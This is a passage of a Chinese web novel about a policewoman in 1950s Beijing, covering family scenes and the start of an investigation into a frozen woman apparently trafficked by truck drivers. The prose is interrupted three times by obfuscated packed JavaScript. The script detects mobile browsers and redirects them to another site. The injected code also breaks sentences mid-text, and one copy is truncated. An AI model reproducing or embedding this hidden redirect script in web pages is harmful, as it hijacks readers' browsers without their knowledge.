顾昭蕙想了想脑海中的记忆，历史的进程总是按照它自己的轨迹进行，也不是她能管的。 发现齐云松往她这边看，顾昭蕙说“正好你今天过来，帮我切菜晒菜干。” 齐云松点点头，“行。对了妈，你们医院能弄到点滴瓶子吗？” 田静兰点点头，“能，护士站攒了不少呢。干啥用？” 齐云松说道“我有个朋友在食品厂当采购，他去北疆进货去了，听说那边产西红柿，今年那边大丰收，能带回来几筐，问我要不要。我寻思着要是能弄到点滴瓶子，咱们做酱，冬天也是个菜。” “要，啥时候弄回来，点滴瓶子有的是。”他们医院点滴瓶子都是玻璃的，用完了都不扔，用处大了，装个酱油做个热水瓶啥的。一般人想要还没有呢。他们科室可能不多，不过没事，上班去别的科室划拉划拉就有了。 “明天我到单位给他打电话，得几天，这几天正采购呢。” 吃了早饭就开始干活，齐云松先给三只鸡弄了围栏，用木头砖头做了鸡窝，家里材料都不缺，二壮现在每月都过来给他们拉点干柴，顾昭蕙也不让他白来一趟，或是给点粮食或是给点工业票啥的，有来有往的。二壮还时不时的送点菜过来。这不是前两天送来一筐茄子，加上家里种的茄子，都吃不了，所以今天才准备做茄子干。 顾昭蕙把茄子摘下来，洗干净，拿着菜刀开始切茄子，蒋志忠和田静兰俩人把茄子地收拾出来，准备种上一茬韭菜，韭菜种好了，到下雪的时候找个塑料蒙上，能吃到明年新韭菜出来，过年的时候也能吃点韭菜馅饺子。 齐云松手脚麻利，干活快，虽然他那两双退总是有种无处安放的感觉，但是不影响他速度。 “来，我切，你先去烧水。今天天好，赶紧晾上。” 顾昭蕙放下菜刀去烧水，之前腌的都杀出水来了，将茄子水攥出去。水开了放在盖帘上蒸五分钟，然后放在大盖帘上晾晒，干了就可以放起来了。 “咱家有了小蕙，感觉日子也过得红火了呢。”田静兰抓着一大堆茄子秧进了厨房。 “妈，这东西有啥用。能喂鸡吗？”齐云松问。 “我摘点叶子，晒干了，泡水喝。”田静兰说道。 一家子忙活的跟秋收似的，中午因为太忙活，就做了个简单的面条，用茄子肉丁打的卤子，味道也不错。 下午活干完了，一家子坐在大树下的石桌边上坐着喝茶，齐云松和蒋志忠俩人下象棋，田静兰跟顾昭蕙打着冒险，现在虽然已经进入深秋，但是天气晴朗的时候，坐在树下，树上的叶子也掉了许多，阳光照在身上十分舒适。 “小蕙，下个月你奶是不是过生日？”田静兰突然想起来问。 “嗯，今年都七十了。”顾昭蕙点头应道。 “是整寿啊。你记得提醒我一下，到时候我和你爸过去看看。”田静兰说道。 “不用吧，我奶不让过，说是现在日子都是偷来的，怕让阎王爷听到了再把她招去。”顾昭蕙说着自己也笑了，这小老太太可有意思了，做事总有自己的一套。想法也与人不同。 田静兰笑了笑“是有些老人会有这样的想法，那这样我们也不挑正日子，下个月找一天我们过去看看。”其实早该过去只是蒋永兴的事耽搁了。 顾昭蕙点点头，“行。” “妈香山树叶红了，下个周末要是没事，咱们去爬山吧。”齐云松突然说道。 田静兰点点头“行啊，可惜家里照相机让你大哥拿走了，不然咱们也可以照几张相。” “也没啥可照的，黑白照片红叶照出来都是一个色。”将志忠打击道。 齐云松下了一颗棋子“没事爸，等我去局里借个彩色相机，听说今年买了好几台呢。” 蒋志忠瞪了他一眼，“胡闹，那是公家的东西，咱们可不能占这便宜。” 齐云松咧着嘴笑了笑，继续下棋也没说什么，脑袋里却想着公家的借不着，私人的有没有呢？ 顾昭蕙听着他们说出去玩的事，也没说话，手上打着毛线，心里却想着顾湘记忆里的香山，似乎记忆中全都是人，景色倒是不怎么好看，霍地蒋永兴的脸又出现，好像他们认识没多久，也去了香山， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12901585|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满目的红，真的很漂亮，好像在他们刚爬到山的高处，天上突然下起了雪，没多久天地似乎连成了一片。唯一有点煞风景的是，当时天气没那么冷，雪落地就化了，他们下山的时候鞋子被泥弄得又湿又脏。 “小蕙。小蕙。”田静兰跟顾昭蕙说了两句话发现她好像在发呆。 顾昭蕙回过神，看向田静兰，“妈，你说什么？” 田静兰凑到她跟前，声音不大的问，“是这样的，我们单位程医生想给你介绍个对象。”田静兰之前也试探过顾昭蕙，顾昭蕙那个时候正忙着一个案子，也只是说自己还没有那个想法。她当时也回绝了程医生，说实话她跟顾昭蕙越处越觉着这孩子好，何况她亲自把杀害蒋永兴的凶手抓到了，她更是把顾昭蕙当成自己的孩子了。 她心里也挺矛盾的，她当然也想顾昭蕙陪着他们，可是孩子年轻，肯定得走一步，不能耽搁一辈子，更何况这孩子这么出色，想要找对象太容易了。 这回是程医生再次提起来这个事的，她也是看好顾昭蕙才坚持给介绍的，‘咋的也得让俩孩子见见，你家小蕙我看过，真的俩孩子挺配的。’ 刚才她突然想到这事了，就直接问了。 顾昭蕙愣了一下，没想到会有一天由婆婆给她介绍对象的，“不是妈，我现在还没有那个想法。”虽然这年代不讲究什么给丈夫守节啥的，也没啥守孝啥的，可是她还真没这个想法。她自己对感情是什么还搞不明白呢，怎么可能嫁人。再说了她一个人也挺好的。 “哎，怎么说呢，妈的意思是，你可以先接触看看，程医生说那孩子挺好的，二十七岁，团长，人长得也好，还有些文化，绝对不是大老粗，现在还在京城军区，各方面条件真是挺不错的。” 顾昭蕙笑了笑，“不是妈，我现在真没有这个念头。其实我觉着我现在也挺好的。” “哎将军。”蒋志忠突然大笑道，“你小子这个炮下错了，你应该出马。” 齐云松咧着嘴“还是爸你厉害。”他心里就跟猫抓了似的，听着那边娘俩的谈话，心里七上八下的，乱七八糟的。 “那这样明天我管程医生要张照片，你看看，要是觉着合适，就见见。” 顾昭蕙无奈笑了笑，怎么说呢，说实话这年代单身太少了，除非那种真的找不到对象打光棍的，否则单身总是受到非议，尤其她这种‘寡妇。’ 这也就是在大院里，议论声没那么多，就她娘家胡同那边说小话的就挺多，她每次回去总能听到一些，这两个月上门说亲的也多，不过不是死了老婆就是带着孩子的，就没个正经人，谁让她现在也是个寡妇呢。 其实单位也有一些人会背地里议论，这段日子就少了很多，或许因为她证明了自己的能力。 晚上顾昭蕙做了鱼骨汤，小炒鱼片，齐云松买的是黑鱼，上次吃饭的时候她说过一次黑鱼做出来的鱼片更好吃，这次的小炒鱼片做法跟水煮鱼有点类似，鱼片先下锅过一下水，然后再起锅放木耳小辣椒麻椒爆香鱼片下锅溜一下，出锅后鱼片又嫩又鲜，还不像水煮鱼那么费油。 吃的蒋志忠一个劲说好吃，倒是齐云松只是低头吃，似乎有什么心事。 51. 第 51 章 第五十一章 张常阳的案子结束，顾昭蕙他们松快了几天，没有什么大案子，都是一些小案子，就是周五的时候遇到一个杀妻案，案犯当场抓获，没有波折。 因为这个案子，各街道对于家暴进行了一些列调查和教育，这年代女人地位实在不高，虽然一直宣传男女平等，妇女也顶半边天，但实际上只是干活的时候顶着半边天，家庭待遇方面就不行了，许多地方还是讲究着以夫为天，丈夫打骂妻子都是正常的，甚至婆家都不给做主。 顾昭蕙他们也下去跟着街道还有妇联的人一起去做宣传，可惜效果说不上来好。因为在了解的时候，甚至有女人都笑着说，那有女人不挨打的。那种根深蒂固的心态实在是让人心焦。不过事情也不能那么急，总要一步步的进行。 顾昭蕙用了一个多月的时间跟随着妇联的人走了很多家庭，她在脑海里给这些人都做了备案，想着以后多过来看看，或许能起到一些监督作用。 时间转眼进入十二月，今年京城很冷，或许对顾昭蕙来说很冷，两个人的灵魂融合，许是顾湘的记忆更多，顾昭蕙收到她影响更大，记忆中冬天没有那么冷的，可是这刚进入十二月，大雪纷飞，就让人受不了了。 她体质也不是那么好，屋子里更是没有暖气，就是市局也没有供暖，屋子里全靠煤炉子取暖，耳房不算大，十一月下旬的时候齐云松就过来帮她弄了个炉子，烧煤什么的，不过顾昭蕙还是冻的不行。 这天下大雪也不能骑车，到了单位，顾昭蕙觉着脚都要冻掉了，现在气温已经零下十度，身上穿着的棉大衣又厚又沉。走到单位都累的不行。 进了大办公室热气扑脸，将大衣脱下来，先到炉子边上烤烤，鞋子都有点湿了。 齐云松快上班才来，顾昭蕙看他披着大衣，敞着怀，脖子上的围巾就那么耷拉着，帽子也没带，看起来是不怕冻的。 齐云松看她鼻子脸都红红的，看样子是冻的够呛，随手把军用挎包扔给她“给你。” 顾昭蕙拿过来“什么东西。”拿过来打开一看，是一双大头鞋。 “哪来的？”他们其实也发皮鞋的，不过现在物资不多，她今年没赶上明年差不多能发一双。 “我们三处去年没发，今年发的，我要了个小号的。”齐云松双手放在炉子上边烤了烤。 “那你穿啥？”顾昭蕙怪不好意思的。 “我这个还能凑合一年，明年咱们组要是发的话，你弄个大号给我就行了。”齐云松满不在意的说道“实在不行，我找我战友问问，应该能弄到。” 顾昭蕙看他脚上那双已经有点变形的鞋，也没说什么不要的话，已经都换了，再说就矫情了。 这大头鞋是极好的东西，里边都是纯羊毛鞋子厚厚的皮子，就是在雪地里放一宿都不带透的。买都买不到的好东西。 顾昭蕙直接将自己的鞋子脱下来，换了上去，鞋子比她平常穿的鞋号大一号，里边穿上毛袜子，正好。早上冻僵的脚总算是暖和起来。 外边雪下的有点大，原想着白天能停，结果越下越大，中午去食堂的时候路上的雪都快到膝盖了，亏着小战士把道上积雪都扫了。 今天食堂炖了一大锅酸菜，用猪油炖的，虽然看不到一片猪肉，味道却是极好的，去打菜食堂大师傅先给一勺子酸菜，然后再给半勺子汤，就着汤就吃了一个大馒头，馒头是二合面的，里边苞米面比较多，味道还不错。细嚼还有股甜味。 刚吃了饭，回到办公室，没坐多大一会，来电话了，又发生了一起案子。 这种天气出现场有点遭罪，自行车是骑不了了，不过因祸得福，上边直接让开车去，现在局里一共没几台车，都是轮着用，为了省油钱，能不开就不开。 齐云松开车，顾昭蕙坐副驾驶，后边坐四个大老爷们。 “顾组，知道是什么案子吗？”段洪被挤在中间，身子向前，屁股就搭了个边。 顾昭蕙摇了摇头，“不清楚，就说千岁村那边出了命案。” 一听说那地方几个人都蔫了，“得了，今天晚上怕是回不来了。”张燕山看着外边的大雪有点沮丧的说道。 顾昭蕙将身上的大衣拢一拢，这年代车子都是没有暖风的，这破车还四处漏风，这么坐着一会身上就僵了。 千岁村命名不是因为人名，而是因为一颗大树，这边有一颗白皮松，说是有上千年历史了，清末的时候有个进京的书生路过这边，看到那棵白皮松，听说树有上千年了，就对着树拜了拜，说是希望千岁保佑他高中。许是这书生真有本事，那一年果然中了进士，回来还愿，这树一下子就有了名，后来村子就改名千岁村。 千岁村在京城郊区，离以前的畅春园十公里，早年的时候村子里的人都是佃农，后来清朝亡了，土地就陆续被这些人占了买了，所以这村子里姓氏比较杂。 “说起来这个千岁村还有我家一个远方亲戚呢。”李想缩着脖子，“我舅姥爷的姑娘，我该叫啥来着？她嫁的地方就是千岁村。”李想琢磨半天没想到自己应该叫啥。 “你舅姥爷，是你姥姥的哥哥，她姑娘你叫姨。”吴非寻思一下说。 “是吗？”李想想了想“哎呦这有点绕。” “绕啥，她跟你妈是姐俩，你肯定叫姨。”吴非鄙视的说了一句，“不过你这亲戚也不咋走动吧，你都不知道叫啥。” 李想摇了摇头“不知道，我也是听我妈说的，我舅姥爷早些年的时候去东北了，这不就没回来，这个姨，也是后来嫁过来的，不过跟我家没啥来往，我妈去看过一次，她嫁的男人不怎么认亲，我妈就不去了。后来就没联系了。” “对那村子情况你了解吗？”顾昭蕙问。 “不是特别了解，不过我妈说他们村子挺乱的。” 道路不好走，他们开车都开了两个小时才到，车子进了村子，天色都有点黑了。 到了村口，有两个民警在村子边上的磨坊里等着，看到他们车来，赶紧出来迎接。 一行人把车子直接听到磨米坊的院里。 下了车顾昭蕙看着两个人问“你们好，我们是市局的，我姓顾。” “顾同志你好，我是松林镇派出所的所长，我叫王浩，这是我们派出所的刘庆。” 顾昭蕙将其他几个人给他介绍了一下，“什么情况？” 王浩先将几个人迎到磨米坊的屋里这边很简陋连个坐的地方都没有，不过这里点了炉子，正好暖暖身子。 王浩给他们介绍情况，“我们十一点钟得到的报案，说是村子东边山上，有个女的被害了。是村子里一个村民报的案。当时雪挺大的，我们去到现场都已经下午了，这案子我们办不了，所以才给你们打电话的。”别看他是个派出所所长，但是一个小镇派出所，还没街道派出所大呢，整个派出所就三人，平常也就接点邻里纠纷的案子，就是小偷案，他们都不一定能破，更何况这样的杀人案。 “尸体在哪？”顾昭蕙继续问，这边按理说归县局，甚至再往上是西城分局，这案子估计不简单，所以一层层的就报上去了。 “尸体还在原来的地方呢，没敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924447|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。”王浩说道。 顾昭蕙看了看他，“有人看着吗？” 王浩摇了摇头，“没有这天，雪太大了，人要是在那都得冻僵了。这两天降温太厉害了。” 顾昭蕙点点头，“走吧，咱们去看看。” 王浩带路，往东边山上走，东山上都是松树，山上还是坟场。 “是谁发现的尸体？这大雪天还有人上山？”齐云松问。 “发现尸体的是千岁村赵富贵，他爹前些日子死了，今天是三七，他上山给他爹烧七，天气实在不好，他就和他兄弟一起上山，俩人忙活完下山的时候，他弟弟给拌了一下，俩人才看着那尸体，当时尸体被雪埋着，俩人吓坏了，就跑回村子，村长听说了跟着上山看了一下，不敢自己处理，就去镇上把我们给叫来了。” “怎么你们这边这种事情，还能自己处理啊。”齐云松拉了顾昭蕙一把，这边山上已经被雪覆盖了，山路更难走了。 王浩苦笑着摇了摇头“你们不知道我们在这边的工作挺不好做的。有些事情，像是打架斗殴，村子里都自己处理了，这个千岁村别看都不属于一个家族的，但是内部也是很团结的，他们还排外，如果不是尸体看起来不正常，他们估计就偷偷处理了。” 再往上走，就更难了，齐云松几乎拎着顾昭蕙上去的。 “到了就在前边。”王浩说着指了指，顾昭蕙除了雪什么都没有看到。 王浩走到一个地方，然后伸手从雪里摸了一个布单子，往上一撩，就露出下边的尸体，看到尸体李想和吴非下意识的就一躲，张燕山也不自在的扭过头。齐云松直接退后两步。把顾昭蕙给让到了前边。 顾昭蕙皱了一下眉头，“发现尸体的时候就是这个样子吗？” 王浩点点头，他也没低头细看，这年代人还是很腼腆的，面对赤身的女尸还是不好意思看的。 顾昭蕙走到女尸身边低着头，女尸半睁着眼睛，嘴角带着一丝诡异的笑容，眉毛头发都是寒霜，身上非常的苍白，但是脸上还能看到一丝红晕，她就那么坦然的躺在那里，手脚都有冻黑痕迹。顾昭蕙仔细观察死者的眼睛，结膜没有浑浊，无法判断死亡时间，天气也太冷对死亡时间确定也产生一些障碍。 死者双手双脚有陈旧捆绑痕迹，不过是死前伤，皮肤上有一些脏污摩擦痕迹，有几道伤口是死后痕迹。 顾昭蕙细致检查了一下，“是冻死的。死后尸体被弄到这里来的。”她用带着手套的手碰了碰死者，十分僵硬。“抛尸的至少有两个人，尸体形态是固定的。” 段洪将这些都记录下来。 齐云松在附近找了找，因为积雪覆盖没有更多线索，“完全没有衣物。” 顾昭蕙点点头“冻死前提问调节中枢麻痹，会出现幻觉，感觉很热，会把衣服撩起，或是全身赤裸。也因为幻觉冻死的人脸上会带有微笑，她双手双脚都已经发黑，这些症状都标明死者是冻死的，而且她是持续低温才会如此。” 齐云松点了一下头“我以前见过趴在雪地上冻死的战士，这样的倒是头一次见到。” 顾昭蕙摇了摇头，那些雪地里冻死的战士，都是太过疲累在雪地里睡过去，与这个还是不同的。 “这边也不会有太多线索了，把人弄下去吧。找个地方再好好检查一下，先从身份查起。”顾昭蕙看着已经黑了的山，叹了口气，这种天气遇到这样的事情，有点难办。 王浩知道这次肯定要把尸体弄回去，所以提前准备了东西，一大块帆布将尸体包裹住，然后几个人轮流抬下去。 52. 第 52 章 第五十二章 下了山，雪似乎更大了，天已经很黑了，大雪让人都看不清道路。 王浩摇了摇头“我去问问村长看看能不能腾出几间屋子。”说完了看向受害者尸体，“这个怎么办？” 顾昭蕙也挺无奈，谁想到刚十二月中旬天气就这样了“只能先放着了。等明天再找地方。” 王浩去联系当地村长，说起来给他们腾房子村长还是愿意的，但是听说他们还带着尸体，就有些不乐意“死人不能进村。” 顾昭蕙皱了皱眉头，“村长今天情况特殊，这种大雪我们也没有办法回去，您看看能不能给找个地方让我们停留一晚。”她也是清楚有些村子是有这样的习俗，不过现在他们不可能让尸体随便停留在野地里。 村长皱了皱眉头“这样吧，我们村大西头有一间看水坝的小房，你们可以去那边，尸体可以放在柴房里。” 顾昭蕙点点头看了看齐云松还有张燕山，俩人也点头，“那麻烦村长带我们过去一趟。” 跟着村长去了村西头，没进村，从外边道走的，房子是简单的泥土房，里边特别简陋，似乎已经废弃了。 “这个房子别看破旧，其实去年还修过，夏天的时候有人看坝，冬天的时候有熟悉的大车司机也在这边歇脚。”村长将门打开，然后指了指旁边的柴房，“人不能进屋，放在那边吧，那边有门鼻，用这个锁锁上，不会有人过来。你们烧烧火，炕热乎了晚上就能凑合。”他说完看向顾昭蕙“你这女同志要是不方便，就跟我去家里，我家里闺女自己住，你跟她凑合一晚。” 顾昭蕙摇了摇头，“没事出门在外没那么多讲究，这边炕也是够的。” 村长也没继续劝，只是点点头，“那成等会我让我家小子给你们送点吃食。这边锅能用，你们铲点雪烧了，等会吃食送过来热一下。” 顾昭蕙谢过村长，从兜里掏出粮票递给村长，顺便还给了点钱。 “不用不用，你们也是过来工作，一点东西不算什么。” 顾昭蕙摇了摇头“应该的，您拿着。” 等村长离开了，刘庆家里就是隔壁村子的，跟他们说了一声明天早上过来，就冒着雪回家了。 屋子很简陋，窗户原本都是报纸糊的，后来也不知道是谁用破布钉上了，一点也不保温，好在能挡风。 先将受害者安顿在柴房，柴房里有现成的柴火，他们搬了不少进屋，这一宿就靠这柴火过活了。 泥土房分内外两间，外间是厨房连着两个灶台，上边都有锅，其中一口还坏了一半，好在不影响烧火。撮了雪倒锅里，赶紧烧上。 屋子里南北两张炕，上面的炕席都破破烂烂的，估计躺在上边都有点扎人。 “得嘞今天得凑合一宿了。”张燕山不觉着有什么困难，过去打仗的时候，露天席地的那里能躺那里就能住。 说起来这屋里的人也就顾昭蕙没经历过这个，吴非和李想别看年轻，也是从部队上下来的，那也是吃过苦的。 过了快一个小时，来了个二十多岁的大小伙子，端着一个盖帘子进来，上边放着的是窝窝头，还有一大碗咸菜嘎达，“几位同志，家里没啥好的，我娘说这咸菜嘎达放锅里一起蒸了，凉着吃不好吃。” 王浩接过来直接架在那口好锅的上边，直接蒸上。村长儿子也没多待，直接就回去了。 一会东西好了，可能是饿的，几个人就围着灶台一手拿着窝窝头，一手捏着块咸菜，吃的也挺香。 吃了饭，几个人也没说什么话，这一下午累的够呛了，趁着炕热乎，赶紧睡觉，啥事都等起来再说。 几个人穿着衣服躺在炕上，两铺炕将将躺下，齐云松让顾昭蕙睡北炕炕头，这边热点，他睡旁边，另外一边是张燕山。 说实话躺在那里脑袋顶上枕了一块木头，闻着炕上泥土的味道顾昭蕙也是有点睡不着，突然脚上有点热乎，往下边一看，旁边齐云松把里边薄棉袄给脱了，身上就盖着军大衣，棉袄盖她脚上了。 “快穿上，多冷。我大衣大，盖得住。”顾昭蕙说道。 齐云松将自己脑袋顶上的木头块挪了挪，找了个合适的位置，就那么仰着躺在那，“我不冷，这炕热着呢。快睡吧。” 顾昭蕙扭头看他脸上确实红红的，也就不说什么了，“要是冷就穿上。” 齐云松应了一声，听声音好像快睡着了，顾昭蕙以为自己睡不着，谁想一会就睡过去了。 半夜顾昭蕙是被烫醒，炕有点漏风，醒来后她还呛着了，身下的炕有点太热了。 旁边齐云松没在，听见外边有点动静，她将军大衣往外拽了拽，脑袋吸了几口凉气，过一会齐云松进屋，看她醒了小声说“热了吧。我刚填两把柴，这天太冷了，一会就好了。” 顾昭蕙也没说啥话，把两个胳膊从大衣里边拿出来，凉快一下。 旁边的人一会就睡着了，这人睡觉还挺老实，一只手枕着胳膊，大衣盖着往下，他腿长身子有点斜，不过还是不够长，腿是蜷着的，感觉有点不舒服。忍不住笑了一下，她记得前些日子去香山看红叶，路上大家唠嗑，说起齐云松当兵的事，他当兵挺早的，好像十四岁就进部队了，他跟蒋永兴一起去后方的时候走散了，他自己找到部队，就要跟着打小鬼子，当时的连长看着他脸嫩，怀疑他岁数小，不过他个子高，有一米七七，就说自己已经十七了。连长才收。 齐云松脑瓜灵活，打仗的时候特别会掌握时机，还勇猛，敢冲，立了几次功，还升了排长，结果赶上长个，他个子窜的快，晚上腿又是抽筋又是疼的。营养跟不上，人就跟个杆子似的，平常都忍着，有一天没忍住，半夜疼的叫唤，连长还以为他得啥不治之症似的，结果军医一看，说是长身体呢，那时候才知道他刚过十五岁。 本来这也没什么都是个成熟的战士了，继续干呗，哪想到他不知道是不是基因突变，一年半就长了二十厘米，个子都快到一米九了，往队伍里一站，就跟个靶子似的，给他连长愁坏了。最后还是后方需要人，他才把人给调过去。 从那以后他就参与隐秘战线上的工作了。 要不是田静兰跟她说，顾昭蕙绝对不会想到齐云松那么早就是个战士了。不管是那个灵魂对于战争的印象都是遥远的，但是听着父母讲述那个时期的事情，似乎离得又挺近，想想也才过去几年，甚至现在他们身边就有很多敌人。 以前似乎没有办法参与，现在她就想利用自己的能力，做自己能做的事情。 “想什么呢？”早上起来，齐云松就看到顾昭蕙整个人缩在军大衣里，睁着眼睛发呆，屋子里其他人还在睡着，外边天蒙蒙亮了，应该是晴天了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928225|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “想这个案子。”昨晚后半夜又睡了一会，刚才醒过来，突然就想到这个案子。 齐云松侧过身，用胳膊枕着脑袋，“都想到了什么，说说。”他说话声不大。 顾昭蕙想了想说道，“我初步观察死者死因应该是冻死的，按照这两天降温的情况看，死者最有可能是前天半夜被冻死的，那天晚上温度降到零下二十度。” 齐云松点点头，这个温度他记得，半夜的时候他起来填炉子。 “看她的情况，应该是经过一段时间才死去的，人被冻死需要经历几个阶段，看她情况，后期应该产生一些幻觉，所以衣物是她自己脱掉的。尸体身上有些鞭打痕迹还有约束伤。在冻死前，死者曾经被人捆绑鞭打过，所以我怀疑死者身份有问题。”顾昭蕙说道这里皱了皱眉头。 “伤害她的或许是她家人，丈夫？”齐云松猜测道，最近一段时间顾昭蕙跟着妇联街道下去宣传妇女儿童保护的事情，他是知道的，所以一下子想到这里。 顾昭蕙想了想又摇了摇头“我觉着还有些问题，如果伤害死者的是他的亲人，那么他为什么抛尸在山里？很显然他们只是将人往哪里一扔。就不管了。这不对。” 齐云松想了一下，“你说得对，咱们假如她是冻死的，那么或许是个意外，或者过世杀人。不管怎么样，如果是熟人就会将尸体埋藏的更深。藏起来。而不是像这样直接扔掉。这样看来，更像是抛掉一个包袱，这么看来死者与加害者不认识。” 顾昭蕙一下子坐起身，“她是被拐卖来的。或者被绑架来的。” 齐云松拉了她大衣一下“快躺下来，冷。” 顾昭蕙一边想着事，一边躺下“如果是这样的话，案子有点不好查，死者的身份，凶手的身份，毫无关系。” 齐云松想了想，“做了总会有痕迹。这么一个大活人，总不会是从天上掉下来的。” 又躺了一会，看手表已经六点了，顾昭蕙就起了，锅里有现成的热水，洗了把脸，也没带什么洗漱用具，倒是齐云松随身挎包里带了一条毛巾，递给她“凑合用一下吧。” 顾昭蕙笑了笑，“这就挺好了，还是你有经验，下次我也得注意一下，估计以后这样的事，不会少。” 齐云松直接就着顾昭蕙的洗脸水投了投毛巾，擦了起来，他习惯将脸擦的红红的，似乎这样人也跟着精神了。“这样的案子，下边的派出所也是不敢破的，所以一层层的往上报，他们也怕自己破不了再耽搁事。” 顾昭蕙，四处看看，发现墙边有个碗柜，柜子里有碗筷，还有一小袋东西，她打开一看是苞米面，“哎，这边竟然还有点粮食。” “这样的屋子，都是给那些走长途车的人临时歇脚的，往西走没多远就是国道，这边离京城说近不近说远不远，有的大半夜到了，进不了城，就在这里歇一晚，粮食谁要是用了，就给补上，有点类似森林小屋，东北森林里，冬天的时候雪大，守林人就盖了许多这样的木屋，里边放些粮食啥的，进山的猎人如果迷路了，或是被雪困住了，就可以在屋子里修整，吃的用的，过后还回来。基本都很自觉。算是一条生路。” 齐云松将那小袋苞米面拿出来，掂了掂，“有大半斤呢，没想到这帮大车司机也挺有意思的。” 顾昭蕙看了看上边的碗筷，若有所思。 53. 第 53 章 第五十二章 早上雪已经停了，李想去联系市局将受害者带回去，留下齐云松几人顾昭蕙和段洪一起回去检验尸体。 尸体拉回警局验尸房，因为人已经冻住了，需要一段时间化冻，不过顾昭蕙进行了外表检查，发现这个女子双手除去约束伤并没有劳动留下的痕迹，右手中指第一指节有一点薄茧，同样女子脚上只有近期磨损痕迹，并没有厚茧，看到这里她心里沉了沉。 女子皮肤细腻发质很好，骨架匀称，结合种种，可以看出来女子是个受过教育的甚至高等教育，她手上的薄茧可以看出来她经常用钢笔写字，很少做体力活，应该是家庭条件不错的人家，看骨架并不像北方人，更像是南方人。 顾昭蕙觉着自己的一些猜测得到了证实。 第二天她赶回千岁村，齐云松他们继续留宿这边，也是为了更好的工作，好在昨天顾昭蕙回到局里已经让人给送去一些基本用品，都是从军队出来的，这点困难还是能克服的。 “怎么样？有什么进展？”见到齐云松顾昭蕙问道。 齐云松摇了摇头“千岁村的人都说没有见过受害者，我走访的那些家看起来是真的没见过这个女人。李想他们今天去旁边几个村子查找情况了。” 顾昭蕙摇了摇头“估计也不会有什么结果，而且我看过地图，旁边几个村子离这里有段距离，如果想要抛尸肯定不会拉到这里。” 顾昭蕙接过齐云松手里的笔录看了起来“我初步检查了一下尸体的情况，应该是个有学问生活条件不错的人，可能不是本地人。” 齐云松听了皱着眉头，“是外地拐来的？” 顾昭蕙点点头“很大可能。” “这样的话，村子里人说话也不能太相信。”他半眯着眼睛摸着下巴，两天没刮胡子，已经长出短短的胡茬。 “怎么说？”顾昭蕙问。 “我这两天走访的时候发现，村子里有几家女人都没有出来，屋子里能看到女人生活的痕迹，但是我们去的时候都没有看到，这几家对我们到访也很警惕。”当时他没想那么多，现在想来应该是有些问题的。 “你是说这村子里还有别人是从外地被拐来的？”顾昭蕙问。 两个人沉默好一会，顾昭蕙突然抬起头来，“那他们是从那里拐来的人？” 现在可不像后世交通那么发达，更何况现在已经开始实行出门用开证明介绍信，没有这个根本没有办法坐火车住宿，所以如果人是从外地拐来的，人怎么弄过来的。 顾昭蕙说出这个话，心里突然一动看向齐云松，齐云松也想起来了，两人对视一眼，“卡车司机。” 昨天早上顾昭蕙就发现了，那个为路过的人准备的房子有些过于仔细了，里边不但留了食物还有碗筷，她回去还特意找地图看了一下，发现这个地方其实除非经常出入的，不然不会专门拐进来。 它的入口有些过于隐蔽了，那个岔路口就是一条不宽的土路，不熟的人又怎么会随便进入这样一条路。 “查大车司机。”齐云松说道，查大车司机，从根源查起。 现在大车司机其实并不多，本身大卡车不多，有迹可循，各单位的卡车也有数。 顾昭蕙也不留了，查找筛选的事情，她做最合适，看了看齐云松“你留下，查一下这样的独立的屋子，死者死亡的现场应该是一个比较偏僻的地方，外面独立的房子或是村子边上。” 齐云松点点头“好的。” 全程所有汽车都有登记，顾昭蕙先去查车管局，“市里登记的大汽车资料都在这里。”工作人员用推车推来一车资料。 顾昭蕙直接在档案室里开始看档案。 这里都是汽车的资料，属于那个单位，做什么用的，都有记载。所有的资料她都是一翻而过，旁边工作人员看了一会摇了摇头就去工作了，估计不明白这么看能看出什么东西。 先将所有资料过一遍，挑出进出京城的汽车，然后从这里挑选出可疑车辆。她将犯事车辆进行一下测写，必须是大车，带人过来车就不能小，拉货的大车最有可能，路线经过千岁村，另外就是一些单位拉的都是大宗货物，每次出车人员并不固定，这样嫌疑也没那么大。 这样一筛查下来，嫌疑车辆就很少了。 顾昭蕙将嫌疑车辆的所有资料都记下来，然后直接去了单位寻找嫌疑人。因为齐云松和李想他们都在千岁村，顾昭蕙这次从一组借了俩人。 走访了几个单位，并没有什么收获。 眼看就要下班了，顾昭蕙看了看又阴下来的天气，“咱们再去一处就下班。” 另外两人没有什么意见，都是工作，更何况对这位三组组长，他们是如雷贯耳，能有机会跟在身边学习，他们也是挺乐意的。 顾昭蕙这次去的是轧钢厂。 轧钢厂有自己的车队，十几辆大车，因为有运送零配件的任务，所以每个月都有车出京，这些车去的地方分别是南方的几个城市，每次去因为装配货的关系，总是要停留几天。 